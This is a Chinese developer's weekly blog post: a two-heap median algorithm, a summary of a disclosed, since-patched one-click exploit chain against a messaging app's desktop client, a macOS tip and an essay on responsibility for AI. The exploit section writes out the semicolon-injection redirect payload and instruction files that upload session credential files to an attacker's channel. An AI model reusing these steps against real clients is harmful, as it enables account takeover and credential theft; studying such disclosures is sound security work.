每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS)
Algorithm
这周写这个算法:leetcode.cn/problems/fi...

最优解代码如下:
1)使用 PriorityQueue 分别维护两个部分,一边是较小部分的最大值,一边是较大部分的最小值。因为我们计算最小值,不需要全局有序,之需要部分有序就好了,并且这个 PriorityQueue 进行排序的时候还使用了完全二叉树,时间复杂度是 O(logN)
2)当我们一个数据过来的时候,需要先在小顶堆里面洗一下,拿到较大的一个数据放到 afterHeap 里面。并且需要注意,还需要维护一下这两个 Heap 的大小
3)当找到 middle 的时候,需要判断是奇数还是偶数。如果是奇数的话,那么只需要找到多的 Heap 的最大的一个就好了,也就是 beforeHeap 的最大的。如果是偶数的话,那么就需要两个 Heap 各自拿出来自己的堆顶元素,之后求平均值就好了。
java
class MedianFinder {
// 大顶堆:维护前半部分较小的数(堆顶是较小部分里的最大值)
final PriorityQueue<Integer> beforeHeap = new PriorityQueue<>(Collections.reverseOrder());
// 小顶堆:维护后半部分较大的数(堆顶是较大部分里的最小值)
final PriorityQueue<Integer> afterHeap = new PriorityQueue<>();
public MedianFinder() {
}
public void addNum(int num) {
beforeHeap.offer(num);
afterHeap.offer(beforeHeap.poll());
if (afterHeap.size() > beforeHeap.size()) {
beforeHeap.offer(afterHeap.poll());
}
}
public double findMedian() {
if (beforeHeap.size() > afterHeap.size()) {
return beforeHeap.peek();
} else {
return (beforeHeap.peek() + afterHeap.peek()) / 2.0;
}
}
}
下面是 PriorityQueue 比较的核心代码,我们一点一点说。
先看参数:
1)参数 k:是我们调用 offer 插入内容之前的 queue 的 size
2)参数 x:这个就是我们调用 offer 方法插入的内容
接下来看方法体,这个是使用数组进行完全二叉树,效率高还不需要维护指针,具体的动画演示放到了 siftup.vercel.app/
我们来看一个相对复杂的案例,当前 queue 的数据是 12,-3,8,如果把这个数据可视化成完全二叉树的话,那么就是下图的样式:

当我们插入 0 的时候,我们会先进行判断一下 parent 也就是 1 位置(内容是 12),判断是否小于 12 如果小于的话那就就会把 3 位置设置成 1 位置(也就是 12)的指,并且不修改 1 位置的内容。不用一个临时变量可以减少内存占用,简化代码。

之后 k 被赋值为 1 ,1 > 0 所以 while 循环继续,判断 parent 位置也就是 0 位置是否小于插入 x (这里是 0 ) 的值,此时是不小于的,所以直接 break 了。
结束 while 循环之后,我们把之前没有覆写的 k 位置,也就是第一次的 1 位置的内容设置为 x 也就是 0 ,至此方法结束

核心代码:
java
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
Review
文章:beaksec.github.io/posts/teleg...
安全研究员 beaksec 披露了某社交软件 Windows 桌面端的一条完整漏洞利用链。攻击者只需诱导受害者点击一个经过重定向的恶意链接,即可在无任何确认弹窗的情况下,静默读取本地登录会话凭据并回传至攻击者控制的频道,从而一键接管受害者账户,全程无需受害者做任何额外操作。
1. 单实例进程检测与本地 Socket IPC 序列化缺陷
操作系统在遇到自定义协议链接时,会根据注册表启动对应的应用程序。如果某社交软件尚未运行,进程直接以单实例模式启动并解析 URL;但如果软件已经在后台运行,操作系统并不会识别已有实例,而是直接创建第二个独立进程。
新进程为了维持单实例约束,会尝试连接主进程在启动时就监听的本地 Socket。若连接成功,说明主实例已在运行,新进程便将待打开的 URL 传递给主实例后自行退出。
问题在于,Socket 传输的是字节流而非内存对象,新进程必须将内存中的 URL 对象序列化为文本。某社交软件采用了一套极为简单的文本协议:指令关键字 + 参数 + 分号 ; 作为终止符。发送端代码如下:
cpp
// sandbox.cpp
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
正常链接序列化后如 OPEN:app://x?a=1;。而在主进程接收端,反序列化逻辑直接按照分号 ; 切割字符串:
cpp
// sandbox.cpp
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
}
}
由于传入的 URL 没有对分号 ; 做转义,一旦链接本身包含分号------例如 app://x?a=1;CMD:quit------拼接后发送给 Socket 的文本就会变成 OPEN:app://x?a=1;CMD:quit;。接收端按分号切分后,这被解释为两条独立指令:OPEN:app://x?a=1 和 CMD:quit。这就是第一个关键缺陷:未转义的 IPC 分隔符导致了命令注入。
2. 遗留内部特权协议 interpret: 与无鉴权文件外带
虽然 CMD: 指令只支持 show 和 quit 两个操作,但 OPEN: 指令接受任意 URL,且对协议头没有白名单过滤。在客户端源码中,存在一个未向操作系统注册、仅在内部生效的私有协议 interpret::
cpp
// application.cpp
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
}
该协议最初供开发团队的自动化发版工具(updates.py)使用:
python
# 内部自动化发版脚本调用的命令
subprocess.call("app.exe -sendpath interpret://" + scriptPath + "/command.txt", shell=True)
它读取一个文本指令文件,格式如下:
text
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
底层的 InterpretSendPath 函数读取指令文件后,会将 file: 指定的文件自动发送到 channel: 指定的频道或超级群。更关键的是,from: 字段只在存在时才校验当前登录账号,如果省略该字段,校验将被完全跳过 。整个过程既没有用户确认弹窗,也没有任何调用来源鉴权。结合前面的分号注入,外部链接即可触发 app://x?a=1;OPEN:interpret:instructions.txt,直接构成"远程读取本地任意文件并外带到指定频道"的攻击原语。
3. 群组自动下载机制与相对路径确定性穿越
要让 interpret: 读取指令文件,攻击者必须先将指令文件投放到受害者电脑上的已知路径。某社交软件桌面端默认配置下,群组中 8MB 以下的附件会自动静默下载到系统下载目录:
text
C:\Users\<user>\Downloads\某社交软件 Desktop\<file name>
受害者无需主动点击,文件在群里一经接收便直接落盘。但攻击者仍然不知道受害者的 Windows 用户名 <user>。
然而 interpret: 协议支持相对路径,且以客户端数据目录(%APPDATA%\某社交软件 Desktop)为基准解析。在 Windows 上,%APPDATA% 对应 C:\Users\<user>\AppData\Roaming,从该目录往上跳 3 级恰好到达 C:\Users\<user>,再进入同级的 Downloads 目录即可。因此,攻击者无需猜测用户名,使用如下确定性的相对路径即可精确定位:
text
interpret:../../../Downloads/某社交软件%20Desktop/instructions.txt
4. 本地会话 Key Wrapping 加密机制与空密码秒破
既然能读取任意文件,那为何能直接接管账户?某社交软件并未明文保存本地会话凭据,而是采用了密钥包装(Key Wrapping)机制:
- DEK(Data Encryption Key,数据加密密钥):高随机度长密钥,真正用于加密本地会话数据。
- KEK(Key Encryption Key,密钥加密密钥):通过密钥派生函数(KDF)结合用户本地密码和盐值计算得出,用来加密 DEK。
其解密流程的伪代码如下:
python
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # 如果未在设置中配置本地锁屏密码,则为空字符串 ""
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
关键在于:某社交软件桌面端默认未开启本地锁屏密码 ,绝大多数用户的 passcode 就是空字符串 ""。而盐值(salt)和加密后的 DEK 直接存放在 tdata/key_datas 文件中。只要获取到 key_datas,攻击者便可用空密码计算 KEK、解出 DEK,进而解密会话授权文件。
客户端的数据目录 tdata 结构如下:
text
tdata/
├── key_datas # 盐值以及加密的 DEK
├── D877F783D5D3EF8Cs # 经 DEK 加密的 MTProto 授权凭据
└── D877F783D5D3EF8C/
└── maps # 账户存储数据的索引(目录名为固定的散列,所有客户端都一致)
只要窃取这 3 个文件并放入一个全新的某社交软件 tdata 目录下启动客户端,即可直接无感登录受害者账户。
5. 实战利用命令与 1-Click 攻击全链路
由于单个指令文件的 file: 字段只能指定一个文件(多个 file: 仅最后一行生效),攻击者需在群里预先投放 3 个指令文件:instructions1.txt、instructions2.txt、instructions3.txt,分别指向 tdata/key_datas、tdata/D877F783D5D3EF8Cs 和 tdata/D877F783D5D3EF8C/maps。指令文件内容示例:
text
channel: 2001234567
file: tdata/key_datas
caption: poc
受害者进入群组后,客户端自动将这 3 个文件静默下载到 Downloads 目录。随后攻击者在群里发送一个看似正常的外部链接 https://corvus.sec/rules,受害者在客户端内点击后,系统调用默认浏览器打开。攻击者的服务器返回 HTTP 302 重定向:
http
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: app://x?a=1;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions3.txt
浏览器跟随重定向,唤起系统协议处理器,启动第二个客户端进程。该进程通过 Socket 将未转义的字符串推送给后台主进程,主进程按分号切分出 3 条 OPEN:interpret:... 指令并依次静默执行。3 个本地会话凭证文件瞬间被上传到攻击者控制的频道 channel: 2001234567。攻击者将这 3 个文件放入本地客户端的 tdata 目录,受害者账户即被完全接管。
6. 漏洞修复与架构安全反思
官方在 7.2.9 版本(commit db3405699f)中静默修复了该漏洞:
- 彻底移除了内部私有协议
interpret://和InterpretSendPath函数; - 对 Socket 传输的所有值进行百分号十六进制转义(Percent-Hex Encoding),从根本上避免分号破坏指令边界;
- 增加了防御纵深:如果同一连接携带了
OPEN:,则丢弃CMD:指令;一旦检测到非本地 URL,直接丢弃本地文件路径操作。
这条经典漏洞链值得所有客户端和系统开发者深思:
- 边缘特性组合成致命攻击链:未转义的 IPC 分隔符(注入)、内部自动化遗留功能(无鉴权)、群组默认自动下载(文件确定性落盘)、默认无本地密码(加密形同虚设)------单独看任何一个都算不上严重漏洞,但串联在一起便形成了无交互的文件窃取与账户接管闭环。
- 永远不要信任"内部调用通道":内部发版脚本预设在受信任的构建环境中运行,开发者因此放弃了鉴权与输入校验。然而一旦暴露在外部可触及的攻击面上(协议唤醒、IPC),所谓的内部通道便会沦为攻击者的提权跳板。
- 官方在 7.2.9 的更新日志中对该漏洞只字未提,仅写了渲染修复------太阳底下没有新鲜事。对用户而言,在即时通讯软件中开启"每次下载都询问保存位置"以及设置本地应用密码,往往是官方修补之前最关键的自我防御手段。
Tips
不知道大家在使用 Mac 的时候有没有感觉到,管理默认应用比较头疼,前一段时间发现了一个很好用的命令行工具 duti ,但是需要记一些命令不是很方便,所以就让 AI 写了一个 sh 方便切换,脚本全部内容有点多,我就放到代码小抄里面了:www.codecopy.cn/post/15cpts
什么是 duti?macOS 底层有一个专门管理默认应用关联与 Uniform Type Identifiers (UTI) 的命令行工具
duti:
brew install duti
效果图:

Share
文章:wiki.cateat.fish/art:compute...
核心观点:计算机程序根本无法做决策,任何把责任推给大模型或算法的做法,本质上都是「决策洗白」。
媒体头条中的"主语置换"
作者列举了一系列新闻标题:
- Anthropic 提交未破谋杀案的假线索
- OpenAI 对 RubyGems 发动未公开攻击
- OpenAI 黑入澳大利亚政府网站
- Anthropic 伪造身份进行入侵尝试
- Anthropic 在 IPO 招股书中警告"对人类存在生存危机"
这些标题往往把主语写成"AI 做出了某种行为",但必须看清本质:计算机不会做决策,做决策的永远是背后的人与企业。
那么什么是「决策洗白」?
任何试图将不良后果归咎于 LLM 的做法,都是在进行责任洗白:
-
AI 厂商完全有能力限制和规范模型的行为,但他们选择放任,以此降低成本、追求速度或博取眼球;
-
当出现安全事故或社会影响时,便将责任推给"模型失控"或虚无缥缈的"技术自主性";
-
这种行为之所以缺乏立法监管与惩处,很大程度上是因为监管被认为会阻碍经济利益。
技术本身不能成为逃避责任的「挡箭牌」。在 LLM 时代,我们不应接受把系统行为人格化并为其推卸责任的叙事------每一行生成的恶意代码、每一个被越狱滥用的漏洞,追根究底都是人在做决策、人在承担责任。